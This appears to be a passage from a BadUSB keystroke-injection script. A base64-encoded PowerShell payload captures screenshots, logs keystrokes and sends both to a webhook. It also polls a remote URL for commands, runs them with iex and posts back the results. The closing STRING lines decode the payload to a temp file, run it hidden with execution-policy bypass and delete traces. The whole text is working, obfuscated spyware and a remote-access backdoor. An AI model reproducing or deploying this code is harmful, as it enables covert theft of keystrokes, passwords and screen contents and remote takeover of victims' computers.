ZnQNCiRUb3AgPSAkU2NyZWVuLlRvcA0KJGJpdG1hcCA9IE5ldy1PYmplY3QgU3lzdGVtLkRyYXdpbmcuQml0bWFwICRXaWR0aCwgJEhlaWdodA0KJGdyYXBoaWMgPSBbU3lzdGVtLkRyYXdpbmcuR3JhcGhpY3NdOjpGcm9tSW1hZ2UoJGJpdG1hcCkNCiRncmFwaGljLkNvcHlGcm9tU2NyZWVuKCRMZWZ0LCAkVG9wLCAwLCAwLCAkYml0bWFwLlNpemUpDQokYml0bWFwLlNhdmUoJEZpbGV0dCwgW1N5c3RlbS5EcmF3aW5nLkltYWdpbmcuSW1hZ2VGb3JtYXRdOjpwbmcpDQpTdGFydC1TbGVlcCAxDQpjdXJsLmV4ZSAtRiAiZmlsZTE9QCRmaWxldHQiICRob29rdXJsDQpTdGFydC1TbGVlcCAxDQpSZW1vdmUtSXRlbSAtUGF0aCAkZmlsZXR0DQp9DQoNCkZ1bmN0aW9uIEtleUNhcHR1cmUgew0KJGpzb25zeXMgPSBAeyJ1c2VybmFtZSIgPSAiJGVudjpDT01QVVRFUk5BTUUiIDsiY29udGVudCIgPSAiOm1hZ19yaWdodDogYGBLZXlsb2dnZXIgU3RhcnRlZGBgIDptYWdfcmlnaHQ6In0gfCBDb252ZXJ0VG8tSnNvbg0KSW52b2tlLVJlc3RNZXRob2QgLVVyaSAkaG9va3VybCAtTWV0aG9kIFBvc3QgLUNvbnRlbnRUeXBlICJhcHBsaWNhdGlvbi9qc29uIiAtQm9keSAkanNvbnN5cw0KJEFQSSA9ICdbRGxsSW1wb3J0KCJ1c2VyMzIuZGxsIiwgQ2hhclNldD1DaGFyU2V0LkF1dG8sIEV4YWN0U3BlbGxpbmc9dHJ1ZSldIHB1YmxpYyBzdGF0aWMgZXh0ZXJuIHNob3J0IEdldEFzeW5jS2V5U3RhdGUoaW50IHZpcnR1YWxLZXlDb2RlKTsgW0RsbEltcG9ydCgidXNlcjMyLmRsbCIsIENoYXJTZXQ9Q2hhclNldC5BdXRvKV1wdWJsaWMgc3RhdGljIGV4dGVybiBpbnQgR2V0S2V5Ym9hcmRTdGF0ZShieXRlW10ga2V5c3RhdGUpO1tEbGxJbXBvcnQoInVzZXIzMi5kbGwiLCBDaGFyU2V0PUNoYXJTZXQuQXV0byldcHVibGljIHN0YXRpYyBleHRlcm4gaW50IE1hcFZpcnR1YWxLZXkodWludCB1Q29kZSwgaW50IHVNYXBUeXBlKTtbRGxsSW1wb3J0KCJ1c2VyMzIuZGxsIiwgQ2hhclNldD1DaGFyU2V0LkF1dG8pXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIGludCBUb1VuaWNvZGUodWludCB3VmlydEtleSwgdWludCB3U2NhbkNvZGUsIGJ5dGVbXSBscGtleXN0YXRlLCBTeXN0ZW0uVGV4dC5TdHJpbmdCdWlsZGVyIHB3c3pCdWZmLCBpbnQgY2NoQnVmZiwgdWludCB3RmxhZ3MpOycNCiRBUEkgPSBBZGQtVHlwZSAtTWVtYmVyRGVmaW5pdGlvbiAkQVBJIC1OYW1lICdXaW4zMicgLU5hbWVzcGFjZSBBUEkgLVBhc3NUaHJ1DQokTGFzdEtleXByZXNzVGltZSA9IFtTeXN0ZW0uRGlhZ25vc3RpY3MuU3RvcHdhdGNoXTo6U3RhcnROZXcoKQ0KJEtleXByZXNzVGhyZXNob2xkID0gW1RpbWVTcGFuXTo6RnJvbVNlY29uZHMoMTApDQpXaGlsZSAoJHRydWUpew0KICAgICRrZXlQcmVzc2VkID0gJGZhbHNlDQogICAgdHJ5ew0KICAgIHdoaWxlICgkTGFzdEtleXByZXNzVGltZS5FbGFwc2VkIC1sdCAkS2V5cHJlc3NUaHJlc2hvbGQpIHsNCiAgICAgICAgU3RhcnQtU2xlZXAgLU1pbGxpc2Vjb25kcyAzMA0KICAgICAgICBmb3IgKCRhc2MgPSA4OyAkYXNjIC1sZSAyNTQ7ICRhc2MrKyl7DQogICAgICAgICRrZXlzdCA9ICRBUEk6OkdldEFzeW5jS2V5U3RhdGUoJGFzYykNCiAgICAgICAgICAgIGlmICgka2V5c3QgLWVxIC0zMjc2Nykgew0KICAgICAgICAgICAgJGtleVByZXNzZWQgPSAkdHJ1ZQ0KICAgICAgICAgICAgJExhc3RLZXlwcmVzc1RpbWUuUmVzdGFydCgpDQogICAgICAgICAgICAkbnVsbCA9IFtjb25zb2xlXTo6Q2Fwc0xvY2sNCiAgICAgICAgICAgICR2dGtleSA9ICRBUEk6Ok1hcFZpcnR1YWxLZXkoJGFzYywgMykNCiAgICAgICAgICAgICRrYnN0ID0gTmV3LU9iamVjdCBCeXRlW10gMjU2DQogICAgICAgICAgICAkY2hlY2trYnN0ID0gJEFQSTo6R2V0S2V5Ym9hcmRTdGF0ZSgka2JzdCkNCiAgICAgICAgICAgICRsb2djaGFyID0gTmV3LU9iamVjdCAtVHlwZU5hbWUgU3lzdGVtLlRleHQuU3RyaW5nQnVpbGRlciAgICAgICAgICANCiAgICAgICAgICAgICAgICBpZiAoJEFQSTo6VG9Vbmljb2RlKCRhc2MsICR2dGtleSwgJGtic3QsICRsb2djaGFyLCAkbG9nY2hhci5DYXBhY2l0eSwgMCkpIHsNCiAgICAgICAgICAgICAgICAkTFN0cmluZyA9ICRsb2djaGFyLlRvU3RyaW5nKCkNCiAgICAgICAgICAgICAgICAgICAgaWYgKCRhc2MgLWVxIDgpIHskTFN0cmluZyA9ICJbQktTUF0ifQ0KICAgICAgICAgICAgICAgICAgICBpZiAoJGFzYyAtZXEgMTMpIHskTFN0cmluZyA9ICJbRU5UXSJ9DQogICAgICAgICAgICAgICAgICAgIGlmICgkYXNjIC1lcSAyNykgeyRMU3RyaW5nID0gIltFU0NdIn0NCiAgICAgICAgICAgICAgICAgICAgJG5vc2F2ZSArPSAkTFN0cmluZyANCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICAkbWVzc2FnZXMgPSBJbnZva2UtUmVzdE1ldGhvZCAtVXJpICRHSHVybA0KICAgICAgICBpZiAoJG1lc3NhZ2VzIC1tYXRjaCAia2lsbCIpIHsNCiAgICAgICAgJGpzb25zeXMgPSBAeyJ1c2VybmFtZSIgPSAiJGVudjpDT01QVVRFUk5BTUUiIDsiY29udGVudCIgPSAiOm1hZ19yaWdodDogYGBLZXlsb2dnZXIgU3RvcHBlZGBgIDpvY3RhZ29uYWxfc2lnbjoifSB8IENvbnZlcnRUby1Kc29uDQogICAgICAgIEludm9rZS1SZXN0TWV0aG9kIC1VcmkgJGhvb2t1cmwgLU1ldGhvZCBQb3N0IC1Db250ZW50VHlwZSAiYXBwbGljYXRpb24vanNvbiIgLUJvZHkgJGpzb25zeXMNCiAgICAgICAgJHByZXZpb3VzY21kID0gJHJlc3BvbnNlDQogICAgICAgIHJldHVybg0KICAgICAgICB9DQogICAgfQ0KICAgIGZpbmFsbHl7DQogICAgICAgIElmICgka2V5UHJlc3NlZCAtYW5kICRtZXNzYWdlcyAtbm90Y29udGFpbnMgImtpbGwiKSB7DQogICAgICAgICAgICAkZXNjbXNnc3lzID0gJG5vc2F2ZSAtcmVwbGFjZSAnWyY8Pl0nLCB7JGFyZ3NbMF0uVmFsdWUuUmVwbGFjZSgnJicsICcmYW1wOycpLlJlcGxhY2UoJzwnLCAnJmx0OycpLlJlcGxhY2UoJz4nLCAnJmd0OycpfQ0KICAgICAgICAgICAgJGpzb25zeXMgPSBAeyJ1c2VybmFtZSIgPSAiJGVudjpDT01QVVRFUk5BTUUiIDsiY29udGVudCIgPSAiOm1hZ19yaWdodDogYGBLZXlzIENhcHR1cmVkIDpgYCAkZXNjbXNnc3lzIn0gfCBDb252ZXJ0VG8tSnNvbg0KICAgICAgICAgICAgSW52b2tlLVJlc3RNZXRob2QgLVVyaSAkaG9va3VybCAtTWV0aG9kIFBvc3QgLUNvbnRlbnRUeXBlICJhcHBsaWNhdGlvbi9qc29uIiAtQm9keSAkanNvbnN5cw0KICAgICAgICAgICAgJGtleVByZXNzZWQgPSAkZmFsc2UNCiAgICAgICAgICAgICRub3NhdmUgPSAiIg0KICAgICAgICB9DQogICAgfQ0KJExhc3RLZXlwcmVzc1RpbWUuUmVzdGFydCgpDQpTdGFydC1TbGVlcCAtTWlsbGlzZWNvbmRzIDEwDQp9DQp9DQoNCg0Kd2hpbGUoJHRydWUpew0KICAgICRyZXNwb25zZSA9IEludm9rZS1SZXN0TWV0aG9kIC1VcmkgJEdIdXJsDQoNCiAgICBpZiAoISgkcmVzcG9uc2UgLW1hdGNoICIkcHJldmlvdXNjbWQiKSkgew0KICAgIFdyaXRlLU91dHB1dCAiQ29tbWFuZCBmb3VuZCEiDQogICAgICAgIGlmICgkcmVzcG9uc2UgLW1hdGNoICJjbG9zZSIpIHsNCiAgICAgICAgICAgICRwcmV2aW91c2NtZCA9ICRyZXNwb25zZSAgICAgICAgDQogICAgICAgICAgICAkanNvbnN5cyA9IEB7InVzZXJuYW1lIiA9ICIkZW52OkNPTVBVVEVSTkFNRSIgOyJjb250ZW50IiA9ICI6b2N0YWdvbmFsX3NpZ246IGBgQ2xvc2luZyBTZXNzaW9uLmBgIDpvY3RhZ29uYWxfc2lnbjoifSB8IENvbnZlcnRUby1Kc29uDQogICAgICAgICAgICBJbnZva2UtUmVzdE1ldGhvZCAtVXJpICRob29rdXJsIC1NZXRob2QgUG9zdCAtQ29udGVudFR5cGUgImFwcGxpY2F0aW9uL2pzb24iIC1Cb2R5ICRqc29uc3lzDQogICAgICAgICAgICBicmVhaw0KICAgICAgICB9DQogICAgICAgIGVsc2VpZiAoISgkcmVzcG9uc2UgLW1hdGNoICIkcHJldmlvdXNjbWQiKSkgew0KICAgICAgICAgICAgJFJlc3VsdD1pZWB4KCRyZXNwb25zZSkgLUVycm9yQWN0aW9uIFN0b3ANCiAgICAgICAgICAgIGlmICgoJHJlc3VsdC5sZW5ndGggLWVxIDApIC1vciAoJHJlc3VsdCAtY29udGFpbnMgInB1YmxpY19mbGFncyIpKXsNCiAgICAgICAgICAgICAgICAkcHJldmlvdXNjbWQgPSAkcmVzcG9uc2UNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2V7DQogICAgICAgICAgICAgICAgJHByZXZpb3VzY21kID0gJHJlc3BvbnNlDQogICAgICAgICAgICAgICAgJGpzb25zeXMgPSBAeyJ1c2VybmFtZSIgPSAiJGVudjpDT01QVVRFUk5BTUUiIDsiY29udGVudCIgPSAiYGAkUmVzdWx0YGAifSB8IENvbnZlcnRUby1Kc29uDQogICAgICAgICAgICAgICAgSW52b2tlLVJlc3RNZXRob2QgLVVyaSAkaG9va3VybCAtTWV0aG9kIFBvc3QgLUNvbnRlbnRUeXBlICJhcHBsaWNhdGlvbi9qc29uIiAtQm9keSAkanNvbnN5cw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KICAgIGVsc2V7DQogICAgd3JpdGUtb3V0cHV0ICJObyBjb21tYW5kIGZvdW5kLi4iDQogICAgfQ0Kc2xlZXAgNQ0KfQ=='
|
|
ENTER
|
|
STRING $decodedFile = [System.Convert]::FromBase64String($b64);$decodedText = [System.Text.Encoding]::UTF8.GetString($decodedFile);$decodedText | Out-File -FilePath "$env:temp/a.ps1" -Append
|
|
ENTER
|
|
STRING Start-Process PowerShell.exe -ArgumentList ("-NoP -Ep Bypass -w h -File `"$env:temp/a.ps1`"" -f $PSCommandPath);sleep 7;Remove-Item -Path $File -Force;exit
|
|
ENTER
|